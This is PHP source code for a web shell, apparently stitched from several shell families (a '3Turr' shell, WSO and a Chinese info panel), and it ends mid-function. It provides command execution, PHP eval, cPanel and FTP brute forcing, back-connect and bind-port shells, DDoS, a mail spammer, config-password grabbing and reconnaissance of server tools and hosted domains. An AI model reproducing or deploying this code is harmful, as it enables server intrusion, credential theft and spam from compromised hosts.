type=\"text/javascript\">function checkMkitemForm( el ) { if( el.value =='symlink' ) document.mkitemform.symlink_target.type='text'; else document.mkitemform.symlink_target.type='hidden';} </script>\n\t\t\t\t</form>\n\t\t\t </td>\n"; } else { echo "<td align=\"right\">\n\t\t\t\t<table><tr><td id=\"quick_jumpto\">" . list_bookmarks($dir) . "</td></tr></table>\n\t\t\t </td>"; } echo "</tr></table>\n"; // End Toolbar // Begin Table + Form for checkboxes echo "<form name=\"selform\" method=\"post\" action=\"" . make_link("post", $dir, null) . "\">\n\t<input type=\"hidden\" name=\"do_action\" /><input type=\"hidden\" name=\"first\" value=\"y\" />\n\t<table class=\"adminlist\" width=\"95%\">\n"; if (extension_loaded("posix")) { $owner_info = '<th width="15%" class="title">' . $GLOBALS['messages']['miscowner'] . ' '; if (jx_isFTPMode()) { $my_user_info = posix_getpwnam($_SESSION['ftp_login']); $my_group_info = posix_getgrgid($my_user_info['gid']); } else { $my_user_info = posix_getpwuid(posix_geteuid()); $my_group_info = posix_getgrgid(posix_getegid()); } $owner_info .= mosTooltip(mysql_escape_string(sprintf($GLOBALS['messages']['miscownerdesc'], $my_user_info['name'], $my_user_info['uid'], $my_group_info['name'], $my_group_info['gid']))); // new [mic] $owner_info .= "</th>\n"; $colspan = 8; } else { $owner_info = ""; $colspan = 7; } // Table Header echo "<tr>\n\t<th width=\"2%\" class=\"title\">\n\t\t<input type=\"checkbox\" name=\"toggleAllC\" onclick=\"javascript:ToggleAll(this);\" />\n\t</th>\n\t<th width=\"34%\" class=\"title\">\n"; if ($GLOBALS["order"] == "name") { $new_srt = $_srt; } else { $new_srt = "yes"; } echo "<a href=\"" . make_link("list", $dir, NULL, "name", $new_srt) . "\">" . $GLOBALS["messages"]["nameheader"]; if ($GLOBALS["order"] == "name") { echo $images; } echo '</a>'; echo "</th>\n\t<th width=\"10%\" class=\"title\">"; if ($GLOBALS["order"] == "size") { $new_srt = $_srt; } else { $new_srt = "yes"; } echo "<a href=\"" . make_link("list", $dir, NULL, "size", $new_srt) . "\">" . $GLOBALS["messages"]["sizeheader"]; if ($GLOBALS["order"] == "size") { echo $images; } echo "</a></th>\n\t<th width=\"14%\" class=\"title\">"; if ($GLOBALS["order"] == "type") { $new_srt = $_srt; } else { $new_srt = "yes"; } echo "<a href=\"" . make_link("list", $dir, NULL, "type", $new_srt) . "\">" . $GLOBALS["messages"]["typeheader"]; if ($GLOBALS["order"] == "type") { echo $images; } echo "</a></th>\n\t<th width=\"14%\" class=\"title\">"; if ($GLOBALS["order"] == "mod") { $new_srt = $_srt; } else { $new_srt = "yes"; } echo "<a href=\"" . make_link("list", $dir, NULL, "mod", $new_srt) . "\">" . $GLOBALS["messages"]["modifheader"]; if ($GLOBALS["order"] == "mod") { echo $images; } echo "</a></th>\n\t<th width=\"2%\" class=\"title\">" . $GLOBALS["messages"]["permheader"] . "\n"; echo "</th>"; echo $owner_info; echo "<th width=\"10%\" class=\"title\">" . $GLOBALS["messages"]["actionheader"] . "</th>\n\t\n\t</tr>\n"; // make & print Table using lists print_table($dir, make_list($dir_list, $file_list), $allow); // print number of items & total filesize echo "<tr><td colspan=\"{$colspan}\"><hr/></td></tr><tr>\n<td class=\"title\"></td>"; echo "<td class=\"title\">" . $num_items . " " . $GLOBALS["messages"]["miscitems"] . " ("; if (function_exists("disk_free_space")) { $size = disk_free_space($GLOBALS['home_dir'] . $GLOBALS['separator']); $free = parse_file_size($size); } elseif (function_exists("diskfreespace")) { $size = diskfreespace($GLOBALS['home_dir'] . $GLOBALS['separator']); $free = parse_file_size($size); } else { $free = "?"; } echo $GLOBALS["messages"]["miscfree"] . ": " . $free . ")</td>\n"; echo "<td class=\"title\">" . parse_file_size($tot_file_size) . "</td>\n"; for ($i = 0; $i < $colspan - 3; ++$i) { echo "<td class=\"title\"></td>"; } echo "</tr>\n<tr><td colspan=\"{$colspan}\"><hr/></td></tr></table>\n\t\t</form>"; ?> <script type="text/javascript"><!-- // Uncheck all items (to avoid problems with new items) var ml = document.selform; var len = ml.elements.length; for(var i=0; i<len; ++i) { var e = ml.elements[i]; if(e.name == "selitems[]" && e.checked == true) { e.checked=false; } } opacity('jx_logo', 10, 60, 2000); // --></script> <?php }
function yemenhead() { if (empty($_POST['charset'])) { $_POST['charset'] = $GLOBALS['default_charset']; } $freeSpace = @diskfreespace($GLOBALS['cwd']); $totalSpace = @disk_total_space($GLOBALS['cwd']); $totalSpace = $totalSpace ? $totalSpace : 1; $on = "<font color=#0F0> ON </font>"; $of = "<font color=red> OFF </font>"; $none = "<font color=#0F0> NONE </font>"; if (function_exists('curl_version')) { $curl = $on; } else { $curl = $of; } if (function_exists('mysql_get_client_info')) { $mysql = $on; } else { $mysql = $of; } if (function_exists('mssql_connect')) { $mssql = $on; } else { $mssql = $of; } if (function_exists('pg_connect')) { $pg = $on; } else { $pg = $of; } if (function_exists('oci_connect')) { $or = $on; } else { $or = $of; } if (@ini_get('disable_functions')) { $disfun = '<span>Disabled functions : </span><font color=red style="word-wrap: break-word;width: 80%; " >' . @str_replace(',', ', ', @ini_get('disable_functions')) . '</font>'; } else { $disfun = "<span>Disabled Functions: </span><font color=#00ff00 >All Functions Enable</font>"; } if (@ini_get('safe_mode')) { $safe_modes = "<font color=red>ON</font>"; } else { $safe_modes = "<font color=#0F0 >OFF</font>"; } if (@ini_get('open_basedir')) { $open_b = @ini_get('open_basedir'); } else { $open_b = $none; } if (@ini_get('safe_mode_exec_dir')) { $safe_exe = @ini_get('safe_mode_exec_dir'); } else { $safe_exe = $none; } if (@ini_get('safe_mode_include_dir')) { $safe_include = @ini_get('safe_mode_include_dir'); } else { $safe_include = $none; } if (!function_exists('posix_getegid')) { $user = @get_current_user(); $uid = @getmyuid(); $gid = @getmygid(); $group = "?"; } else { $uid = @posix_getpwuid(posix_geteuid()); $gid = @posix_getgrgid(posix_getegid()); $user = $uid['name']; $uid = $uid['uid']; $group = $gid['name']; $gid = $gid['gid']; } $cwd_links = ''; $path = explode("/", $GLOBALS['cwd']); $n = count($path); for ($i = 0; $i < $n - 1; $i++) { $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\""; for ($j = 0; $j <= $i; $j++) { $cwd_links .= $path[$j] . '/'; } $cwd_links .= "\")'>" . $path[$i] . "/</a>"; } $drives = ""; foreach (range('c', 'z') as $drive) { if (is_dir($drive . ':')) { $drives .= '<a href="#" onclick="g(\'FilesMan\',\'' . base64_encode($drive . ':/') . '\')">[ ' . $drive . ' ]</a> '; } } echo '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>3Turr ~ Sh3ll</title> <link rel="shortcut icon" type="image/x-icon" href="https://avatars1.githubusercontent.com/u/13343571?v=3&s=460"> <script language="javascript"> function Encoder(name) { var e = document.getElementById(name); e.value = btoa(e.value); return true; } function Encoder2(name) { var e = document.getElementById(name); e.value = btoa(e.value); return true; } </script> <style type="text/css"> <!-- .headera { color: red; } .whole { height:auto; width: auto; margin-top: 10px; margin-right: 10px; margin-left: 10px; background-image: linear-gradient( rgba(0, 0, 0, 0.4), rgba(0, 0, 0, 0.4) ), url(http://img03.arabsh.com/uploads/image/2012/09/11/0d37424266f70d.png); } .header { table-layout: fixed; height: auto; width: auto; border: 4px solid #5BEEFF; color: yellow; font-size: 12px; font-family: Verdana, Geneva, sans-serif; } tr { display: table-row; vertical-align: inherit; padding-right:10px; }table { display: table; border-collapse: separate; border-spacing: 2px; border-color: #5BEEFF; } .header a {color:#0F0; text-decoration:none;} span { font-weight: bolder; color: #FFF; } #meunlist { font-family: Verdana, Geneva, sans-serif; color: #FFF; background-color: #000; width: auto; border-right-width: 7px; border-left-width: 7px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-color: #5BEEFF; height: auto; font-size: 12px; font-weight: bold; border-top-width: 0px; } .whole #meunlist ul { padding-top: 5px; padding-right: 5px; padding-bottom: 7px; padding-left: 2px; text-align:center; list-style-type: none; margin: 0px; } .whole #meunlist li { margin: 0px; padding: 0px; display: inline; } .whole #meunlist a { font-family: arial, sans-serif; font-size: 14px; text-decoration:none; font-weight: bold; color: #fff; clear: both; width: 100px; margin-right: -6px; padding-top: 3px; padding-right: 15px; padding-bottom: 3px; padding-left: 15px; border-right-width: 1px; border-right-style: solid; border-right-color: #FFF; } .whole #meunlist a:hover { color: red; background: #fff; } .menu a:hover { background:#5BEEFF;} a:hover { color:red;background:black;} .ml1 { border:1px solid #2438CF;padding:5px;margin:0;overflow: auto; } .bigarea { width:100%;height:250px; border:1px solid red; background:#171717;} input, textarea, select { margin:0;color:#FF0000;background-color:#000;border:1px solid #5BEEFF; font: 9pt Monospace,"Times New roman"; } form { margin:0px; } #toolsTbl { text-align:center; } .toolsInp { width: 80%; } .main th {text-align:left;background-color:#990000;color:white;} .main td, th{vertical-align:middle;} pre {font-family:Courier,Monospace;} #cot_tl_fixed{position:fixed;bottom:0px;font-size:12px;left:0px;padding:4px 0;clip:_top:expression(document.documentElement.scrollTop+document.documentElement.clientHeight-this.clientHeight);_left:expression(document.documentElement.scrollLeft + document.documentElement.clientWidth - offsetWidth);} }'; if (is_writable($GLOBALS['cwd'])) { echo ".foottable {\n width: 300px;\n font-weight: bold;\n }"; } else { echo ".foottable {\n width: 300px;\n font-weight: bold;\n background-color:red;\n }\n .dir {\n background-color:red; \n }\n "; } echo '.main th{text-align:left;} .main a{color: #FFF;} .main tr:hover{background-color:red;} .ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; } .bigarea{ width:99%; height:300px; } </style> '; echo "<script>\n var c_ = '" . base64_encode(htmlspecialchars($GLOBALS['cwd'])) . "';\n var a_ = '" . htmlspecialchars(@$_POST['a']) . "'\n var charset_ = '" . htmlspecialchars(@$_POST['charset']) . "';\n var p1_ = '" . (strpos(@$_POST['p1'], "\n") !== false ? '' : htmlspecialchars($_POST['p1'], ENT_QUOTES)) . "';\n var p2_ = '" . (strpos(@$_POST['p2'], "\n") !== false ? '' : htmlspecialchars($_POST['p2'], ENT_QUOTES)) . "';\n var p3_ = '" . (strpos(@$_POST['p3'], "\n") !== false ? '' : htmlspecialchars($_POST['p3'], ENT_QUOTES)) . "';\n var d = document;\n\tfunction set(a,c,p1,p2,p3,charset) {\n\t\tif(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;\n\t\tif(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;\n\t\tif(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;\n\t\tif(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;\n\t\tif(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;\n\t\tif(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;\n\t}\n\tfunction g(a,c,p1,p2,p3,charset) {\n\t\tset(a,c,p1,p2,p3,charset);\n\t\td.mf.submit();\n\t}</script>"; echo ' </head> <div class="whole1"></div> <body bgcolor="#000000" color="red" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <div style="position:absolute;top:30px;right:50px; font-size:25px;font-family:auto;z-index:-1;" rowspan="8"><font color=red><img height="190px" height="190px" alt="3Turr" src="http://i.imgur.com/mVdgU0V.png" /></font><center><font style="color:#5BEEFF;text-shadow: 1px 1px 36px #5BEEFF, 0 0 25px #5BEEFF, 0 0 30px #5BEEFF, 0 0 30px #5BEEFF;">3</font><font style="color:red;text-shadow: 1px 1px 36px red, 0 0 25px red, 0 0 30px red;">Turr</font> </div> <div class="whole"> <form method=post name=mf style="display:none;"> <input type=hidden name=a> <input type=hidden name=c> <input type=hidden name=p1> <input type=hidden name=p2> <input type=hidden name=p3> <input type=hidden name=charset> </form> <div class="header"><table class="headmain" width="100%" border="0" align="lift"> <tr> <td width="3%"><span>Uname:</span></td> <td colspan="2">' . substr(@php_uname(), 0, 120) . '</td> </tr> <tr> <td><span>User:</span></td> <td>' . $uid . ' [ ' . $user . ' ] <span> Group: </span>' . $gid . ' [ ' . $group . ' ] </tr> <tr> <td><span>PHP:</span></td> <td>' . @phpversion() . ' <span> Safe Mode: ' . $safe_modes . '</span></td> </tr> <tr> <td><span>IP:</span></td> <td>' . @$_SERVER["SERVER_ADDR"] . ' <span>Server IP:</span> ' . @$_SERVER["REMOTE_ADDR"] . '</td> </tr> <tr> <td><span>WEBS:</span></td> <td width="76%">'; if ($GLOBALS['sys'] == 'unix') { $d0mains = @file("/etc/named.conf"); if (!$d0mains) { echo "CANT READ named.conf"; } else { $count; foreach ($d0mains as $d0main) { if (@ereg("zone", $d0main)) { preg_match_all('#zone "(.*)"#', $d0main, $domains); flush(); if (strlen(trim($domains[1][0])) > 2) { flush(); $count++; } } } echo "<b>{$count}</b> Domains"; } } else { echo "CANT READ |Windows|"; } echo '</td> </tr> <tr> <td height="16"><span>HDD:</span></td> <td>' . yemenSize($totalSpace) . ' <span>Free:</span>' . yemenSize($freeSpace) . ' [' . (int) ($freeSpace / $totalSpace * 100) . '%]</td> </tr>'; if ($GLOBALS['sys'] == 'unix') { if (!@ini_get('safe_mode')) { echo '<tr><td height="18" colspan="2"><span>Useful : </span>'; $userful = array('gcc', 'lcc', 'cc', 'ld', 'make', 'php', 'perl', 'python', 'ruby', 'tar', 'gzip', 'bzip', 'bzip2', 'nc', 'locate', 'suidperl'); foreach ($userful as $item) { if (yemenWhich($item)) { echo $item . ','; } } echo '</td> </tr> <tr> <td height="0" colspan="2"><span>Downloader: </span>'; $downloaders = array('wget', 'fetch', 'lynx', 'links', 'curl', 'get', 'lwp-mirror'); foreach ($downloaders as $item2) { if (yemenWhich($item2)) { echo $item2 . ','; } } echo '</td> </tr>'; } else { echo '<tr><td height="18" colspan="2"><span>useful: </span>'; echo '--------------</td> </tr><td height="0" colspan="2"><span>Downloader: </span>-------------</td> </tr>'; } } else { echo '<tr><td height="18" colspan="2"><span>Window: </span>'; echo yemenEx('ver'); } echo '<tr> <td height="16" colspan="2">' . $disfun . '</td> </tr> <tr> <td height="16" colspan="2"><span>cURL:' . $curl . ' MySQL:' . $mysql . ' MSSQL:' . $mssql . ' PostgreSQL:' . $pg . ' Oracle: </span>' . $or . '</td><td width="15%"></td> </tr> <tr> <td height="11" style="width:70%" colspan="3"><span>Open_basedir:' . $open_b . ' Safe_mode_exec_dir:' . $safe_exe . ' Safe_mode_include_dir:' . $safe_include . '</td> </tr> <tr> <td height="11"><span>Server </span></td> <td colspan="2">' . @getenv('SERVER_SOFTWARE') . '</td> </tr>'; if ($GLOBALS[sys] == "win") { echo '<tr> <td height="12"><span>DRIVE:</span></td> <td colspan="2">' . $drives . '</td> </tr>'; } echo '<tr> <td height="12"><span>PWD:</span></td> <td colspan="2" >' . $cwd_links . ' <a href=# onclick="g(\'FilesMan\',\'' . base64_encode($GLOBALS['home_cwd']) . '\')"><font color=red >[HOME]</font></a></td> </tr> </table> </div> <div id="menu-box"> <style type="text/css"> div#menu{height:40px;:url(http://apycom.com/ssc-data/items/1/00bfff/images/main-bg.png) repeat-x;} div#menu ul{margin:0;padding:0;list-style:none;float:left;} div#menu ul.menu {padding-left:10px;} div#menu li{position:relative;z-index:9;margin:0;padding:0 5px 0 0;display:block;float:left;} div#menu li:hover>ul {left:-2px;} div#menu a {position:relative;z-index:10;height:40px;display:block;float:left;line-height:40px;text-decoration:none;font:normal 13px Trebuchet MS;} div#menu a:hover {color:#000;} div#menu li.current a {} div#menu span {display:block;cursor:pointer;background-repeat:no-repeat;background-position:95% 0;} div#menu ul ul a.parent span {background-position:95% 8px;background-image:url(http://apycom.com/ssc-data/items/1/00bfff/images/item-pointer.gif);} div#menu ul ul a.parent:hover span {background-image:url(http://apycom.com/ssc-data/items/1/00bfff/images/item-pointer-mover.gif);} div#menu a {padding:0 6px 0 10px;line-height:30px;color:#fff;} div#menu span {margin-top:5px;} div#menu li {background:url(http://apycom.com/ssc-data/items/1/00bfff/images/main-delimiter.png) 98% 4px no-repeat;} div#menu li.last {background:none;} div#menu ul ul li {background:none;} div#menu ul ul {position:absolute;top:38px;left:-999em;width:180%;padding:1px 0 0 0;background:rgb(45,45,45);margin-top:1px;} div#menu ul ul a {padding:0 0 0 15px;height:auto;float:none;display:block;line-height:24px;color:rgb(169,169,169);} div#menu ul ul span {margin-top:0;padding-right:15px;_padding-right:20px;color:rgb(169,169,169);} div#menu ul ul a:hover span {color:#fff;}div#menu ul ul li.last {background:none;} div#menu ul ul li {width:100%;}div#menu ul ul ul {padding:1;margin:-38px 0 0 163px !important;margin-left:172px;}div#menu ul ul ul {background:rgb(41,41,41);} div#menu ul ul ul ul {background:rgb(38,38,38);}div#menu ul ul ul ul {background:rgb(35,35,35);} div#menu li.back {background:url(http://apycom.com/ssc-data/items/1/00bfff/images/lava.png) no-repeat right -44px !important;background-image:url(http://apycom.com/ssc-data/items/1/00bfff/images/lava.gif);width:13px;height:44px;z-index:8;position:absolute;margin:-1px 0 0 -5px;} div#menu li.back .left {background:url(http://apycom.com/ssc-data/items/1/00bfff/images/lava.png) no-repeat top left !important;background-image:url(http://apycom.com/ssc-data/items/1/00bfff/images/lava.gif);height:44px;margin-right:8px;} </style> <div id="menu"><ul class="menu"> <li><a href="#" onclick="g(\'FilesMan\',null,\'\',\'\',\'\')">HOME</a></li> <li><a href="#" onclick="g(\'proc\',null,\'\',\'\',\'\')">SYSTEM</a></li> <li><a href="#">PHP</a> <ul> <li><a href="#" onclick="g(\'phpeval\',null,\'\',\'\',\'\')">EVAL</a></li> <li><a href="#" onclick="g(\'hash\',null,\'\',\'\',\'\')">HASH</a></li> </ul> <li><a href="#" onclick="g(\'sql\',null,\'\',\'\',\'\')">SQL</a></li> <li><a href="#" >BRUTE&CRACK</a> <ul> <li><a href="#" onclick="g(\'bf\',null,\'\',\'\',\'\')">CPanel</a></li> <li><a href="#" onclick="g(\'bruteftp\',null,\'\',\'\',\'\')">FTP</a></li> </ul> </li> <li><a href="#">NETWORK</a> <ul> <li><a href="#" onclick="g(\'connect\',null,\'\',\'\',\'\')">BACK CONNECT</a></li> <li><a href="#" onclick="g(\'net\',null,\'\',\'\',\'\')">BIND PORT</a></li> </ul> <li><a href="#" onclick="g(\'dos\',null,\'\',\'\',\'\')">DDOS</a></li> <li><a href="#" onclick="g(\'safe\',null,\'\',\'\',\'\')">SAFE MODE</a></li> <li><a href="#" onclick="g(\'symlink\',null,\'\',\'\',\'\')">SYMLINK</a></li> <!-- <li><a href="#" onclick="g(\'wp\',null,\'\',\'\',\'\')">Mass Wpress</a></li> <li><a href="#" onclick="g(\'joom\',null,\'\',\'\',\'\')">Mass Joomla</a></li> --> <li><a href="#">Perl Sh3ll</a> <ul> <li><a href="#" onclick="g(\'perl\',null,\'\',\'\',\'\')">CGI 1.0v</a></li> <li><a href="#" onclick="g(\'perl4\',null,\'\',\'\',\'\')">CGI 1.4v</a></li> </ul> </li> <li><a href="#" >Mirrors</a> <ul> <li><a href="#" onclick="g(\'zone\',null,\'\',\'\',\'\')">Zone-h.org</a></li> <li><a href="#" onclick="g(\'zonejoy\',null,\'\',\'\',\'\')">Aljyyosh.org</a></li> </ul> </li> <li><a href="#">TOOLS</a> <ul> <li><a href="#" onclick="g(\'rev\',null,\'\',\'\',\'\')">Reverse IP</a></li> <li><a href="#" onclick="g(\'zip\',null,\'\',\'\',\'\')">ZIP</a></li> <li><a href="#" onclick="g(\'mail\',null,\'\',\'\',\'\')">Mail Spammer</a></li> </ul> </li> <li><a href="#" >3Turr-VIP</a> <ul> <li><a href="#" onclick="g(\'conpass\',null,\'\',\'\',\'\')">C0nf1G-P4$$\'s</a></li> </ul> </li> <li><a href="#" onclick="g(\'yemen\',null,\'\',\'\',\'\')">ABOUT</a></li> </ul> </div> '; ?> <footer id="det" style="z-index:9999;background:#000;position:fixed; left:0px; right:0px; bottom:0px; background:rgb(0,0,0);padding:3px; text-align:center; border-top: 1px solid #ff0000; border-bottom: 2px solid #990000;color:red;"> <font align=center>3Turr ~ SH311</font> </footer> <form style="z-index:9999;position:fixed;left:1;bottom:4px;display:inline" onsubmit="Encoder('encod');g('proc',null,this.c.value);return false;"> <input style="width:290px" type=text id=encod name=c value="" placeholder="Execute" <?php !isset($_POST['a']) || $_POST['a'] != 'proc' || !isset($_POST['p1']) || $_POST['p1'] == '' ? print "autofocus" : 0; ?> > <input type=submit style="color:red;width:30px;" value=">>"> </form> <!--###################--> <form style="z-index:9999;position:fixed;right:10px;bottom:3px;display:inline;" method='post' ENCTYPE='multipart/form-data'> <input type=hidden name=a value='FilesMAn'> <input type=hidden name=c value='<?php echo htmlspecialchars($GLOBALS['cwd']); ?> '> <input type=hidden name=p1 value='uploadFile'> <input type=hidden name=charset value='<?php echo isset($_POST['charset']) ? $_POST['charset'] : ''; ?> '> <input style="border:1px solid #5BEEFF;height:19px;value:[ select ];" class="toolsInp" type=file name=f > <input style="color:red;width:30px;" type=submit value=">>" ></form> <?php }
function printHeader() { if(empty($_POST['charset'])) $_POST['charset'] = "UTF-8"; global $color; ?> <html><head><meta http-equiv='Content-Type' content='text/html; charset=<?=$_POST['charset']?>'><title><?=$_SERVER['HTTP_HOST']?> - WSO <?=VERSION?></title> <style> body { background-color:#444;font: 9pt Lucida,Verdana;color:#e1e1e1;margin: 0; } td,th { font: 9pt Lucida,Verdana;vertical-align:top; } table.info { color:#fff;background-color:#222; } span { color:<?=$color?>;font-weight: bolder; } h1 { color:<?=$color?>;border-left:5px solid <?=$color?>;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; } div.content { padding: 5px;margin-left:5px;background-color:#333; } a { text-decoration:none; color:<?=$color?>; } a:hover { text-decoration:underline; } .ml1 { border:1px solid #444;padding:5px;margin:0;overflow: auto; } .bigarea { width:100%;height:250px; } input, textarea, select { margin:0;color:#fff;background-color:#555;border:1px solid <?=$color?>; font: 9pt Monospace,"Courier New"; } form { margin:0px; } #toolsTbl { text-align:center; } .toolsInp { width: 300px } .main th{text-align:left;background-color:#5e5e5e;} .main tr:hover{background-color:#5e5e5e} .main td, th{vertical-align:middle} .l1 {background-color:#444} pre{font-family:Courier,Monospace;} </style> <script> function set(a,c,p1,p2,p3,charset) { if(a != null)document.mf.a.value=a; if(c != null)document.mf.c.value=c; if(p1 != null)document.mf.p1.value=p1; if(p2 != null)document.mf.p2.value=p2; if(p3 != null)document.mf.p3.value=p3; if(charset != null)document.mf.charset.value=charset; } function g(a,c,p1,p2,p3,charset) { set(a,c,p1,p2,p3,charset); document.mf.submit(); } function a(a,c,p1,p2,p3,charset) { set(a,c,p1,p2,p3,charset); var params = "ajax=true"; for(i=0;i<document.mf.elements.length;i++) params += "&"+document.mf.elements[i].name+"="+encodeURIComponent(document.mf.elements[i].value); sr('<?=$_SERVER['REQUEST_URI'];?>', params); } function sr(url, params) { if (window.XMLHttpRequest) { req = new XMLHttpRequest(); req.onreadystatechange = processReqChange; req.open("POST", url, true); req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded"); req.send(params); } else if (window.ActiveXObject) { req = new ActiveXObject("Microsoft.XMLHTTP"); if (req) { req.onreadystatechange = processReqChange; req.open("POST", url, true); req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded"); req.send(params); } } } function processReqChange() { if( (req.readyState == 4) ) if(req.status == 200) { //alert(req.responseText); var reg = new RegExp("(\\d+)([\\S\\s]*)", "m"); var arr=reg.exec(req.responseText); eval(arr[2].substr(0, arr[1])); } else alert("Request error!"); } </script> <head><body> <form method=post name=mf style='display:none;'> <input type=hidden name=a value='<?=isset($_POST['a'])?$_POST['a']:''?>'> <input type=hidden name=c value='<?=htmlspecialchars($GLOBALS['cwd'])?>'> <input type=hidden name=p1 value='<?=isset($_POST['p1'])?htmlspecialchars($_POST['p1']):''?>'> <input type=hidden name=p2 value='<?=isset($_POST['p2'])?htmlspecialchars($_POST['p2']):''?>'> <input type=hidden name=p3 value='<?=isset($_POST['p3'])?htmlspecialchars($_POST['p3']):''?>'> <input type=hidden name=charset value='<?=isset($_POST['charset'])?$_POST['charset']:''?>'> </form> <?php $freeSpace = @diskfreespace($GLOBALS['cwd']); $totalSpace = @disk_total_space($GLOBALS['cwd']); $totalSpace = $totalSpace?$totalSpace:1; $release = @php_uname('r'); $kernel = @php_uname('s'); $millink='http://milw0rm.com/search.php?dong='; if( strpos('Linux', $kernel) !== false ) $millink .= urlencode( 'Linux Kernel ' . substr($release,0,6) ); else $millink .= urlencode( $kernel . ' ' . substr($release,0,3) ); if(!function_exists('posix_getegid')) { $user = @get_current_user(); $uid = @getmyuid(); $gid = @getmygid(); $group = "?"; } else { $uid = @posix_getpwuid(@posix_geteuid()); $gid = @posix_getgrgid(@posix_getegid()); $user = $uid['name']; $uid = $uid['uid']; $group = $gid['name']; $gid = $gid['gid']; } $cwd_links = ''; $path = explode("/", $GLOBALS['cwd']); $n=count($path); for($i=0;$i<$n-1;$i++) { $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\""; for($j=0;$j<=$i;$j++) $cwd_links .= $path[$j].'/'; $cwd_links .= "\")'>".$path[$i]."/</a>"; } $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866'); $opt_charsets = ''; foreach($charsets as $item) $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>'; $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Sql'=>'Sql','Php'=>'Php','Safe mode'=>'SafeMode','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network', 'Logout'=>'Logout', 'Self remove' => 'SelfRemove'); $menu = ''; foreach($m as $k => $v) $menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>'; $drives = ""; if ($GLOBALS['os'] == 'win') { foreach( range('a','z') as $drive ) if (is_dir($drive.':\\')) $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> '; } echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:'.($GLOBALS['os'] == 'win'?'<br>Drives:':'').'</span></td>'. '<td><nobr>'.substr(@php_uname(), 0, 120).' <a href="http://www.google.com/search?q='.urlencode(@php_uname()).'" target="_blank">[Google]</a> <a href="'.$millink.'" target=_blank>[milw0rm]</a></nobr><br>'.$uid.' ( '.$user.' ) <span>Group:</span> '.$gid.' ( '.$group.' )<br>'.@phpversion().' <span>Safe mode:</span> '.($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=#00bb00><b>OFF</b></font>').' <a href=# onclick="g(\'Php\',null,\'info\')">[ phpinfo ]</a> <span>Datetime:</span> '.date('Y-m-d H:i:s').'<br>'.viewSize($totalSpace).' <span>Free:</span> '.viewSize($freeSpace).' ('.(int)($freeSpace/$totalSpace*100).'%)<br>'.$cwd_links.' '.viewPermsColor($GLOBALS['cwd']).' <a href=# onclick="g(\'FilesMan\',\''.$GLOBALS['home_cwd'].'\',\'\',\'\',\'\')">[ home ]</a><br>'.$drives.'</td>'. '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">'.$opt_charsets.'</optgroup></select><br><span>Server IP:</span><br>'.gethostbyname($_SERVER["HTTP_HOST"]).'<br><span>Client IP:</span><br>'.$_SERVER['REMOTE_ADDR'].'</nobr></td></tr></table>'. '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>'.$menu.'</tr></table><div style="margin:5">'; }
function Info_f() { $dis_func = get_cfg_var("disable_functions"); $upsize = get_cfg_var("file_uploads") ? get_cfg_var("upload_max_filesize") : "不允许上传"; $adminmail = isset($_SERVER['SERVER_ADMIN']) ? "<a href=\"mailto:" . $_SERVER['SERVER_ADMIN'] . "\">" . $_SERVER['SERVER_ADMIN'] . "</a>" : "<a href=\"mailto:" . get_cfg_var("sendmail_from") . "\">" . get_cfg_var("sendmail_from") . "</a>"; if ($dis_func == "") { $dis_func = "No"; } else { $dis_func = str_replace(" ", "<br>", $dis_func); $dis_func = str_replace(",", "<br>", $dis_func); } $phpinfo = !eregi("phpinfo", $dis_func) ? "Yes" : "No"; $info = array(array("服务器时间", date("Y年m月d日 h:i:s", time())), array("服务器域名", "<a href=\"http://" . $_SERVER['SERVER_NAME'] . "\" target=\"_blank\">" . $_SERVER['SERVER_NAME'] . "</a>"), array("服务器IP地址", gethostbyname($_SERVER['SERVER_NAME'])), array("服务器操作系统", PHP_OS), array("服务器操作系统文字编码", $_SERVER['HTTP_ACCEPT_LANGUAGE']), array("服务器解译引擎", $_SERVER['SERVER_SOFTWARE']), array("你的IP", getenv('REMOTE_ADDR')), array("Web服务端口", $_SERVER['SERVER_PORT']), array("PHP运行方式", strtoupper(php_sapi_name())), array("PHP版本", PHP_VERSION), array("运行于安全模式", Info_Cfg("safemode")), array("服务器管理员", $adminmail), array("本文件路径", __FILE__), array("允许使用 URL 打开文件 allow_url_fopen", Info_Cfg("allow_url_fopen")), array("允许动态加载链接库 enable_dl", Info_Cfg("enable_dl")), array("显示错误信息 display_errors", Info_Cfg("display_errors")), array("自动定义全局变量 register_globals", Info_Cfg("register_globals")), array("magic_quotes_gpc", Info_Cfg("magic_quotes_gpc")), array("程序最多允许使用内存量 memory_limit", Info_Cfg("memory_limit")), array("POST最大字节数 post_max_size", Info_Cfg("post_max_size")), array("允许最大上传文件 upload_max_filesize", $upsize), array("程序最长运行时间 max_execution_time", 